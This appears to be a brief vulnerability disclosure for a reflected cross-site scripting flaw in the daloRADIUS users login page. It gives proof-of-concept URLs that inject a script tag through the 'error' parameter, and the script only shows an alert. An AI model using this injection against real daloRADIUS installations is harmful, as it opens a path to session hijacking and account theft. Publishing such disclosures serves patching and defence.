########################################### # # Script Name : daloradius ( All Version ) # # Bug Type : XSS vulnerability # # Found by : Hadi Kiamarsi # # Contact : hadikiamarsi [at] hotmail.com # # Download : http://sourceforge.net/projects/daloradius/ # ########################################### PoC : http://[target]/[path]/daloradius-users/login.php?error=>"><script>alert ('Hadi Kiamarsi')</script> example : http://www.example.com/daloradius-users/login.php?error=>"><script>alert ('Hadi Kiamarsi')</script> local Example : http://localhost/root/daloradius-users/login.php?error=>"><script>alert( 'Hadi Kiamarsi')</script>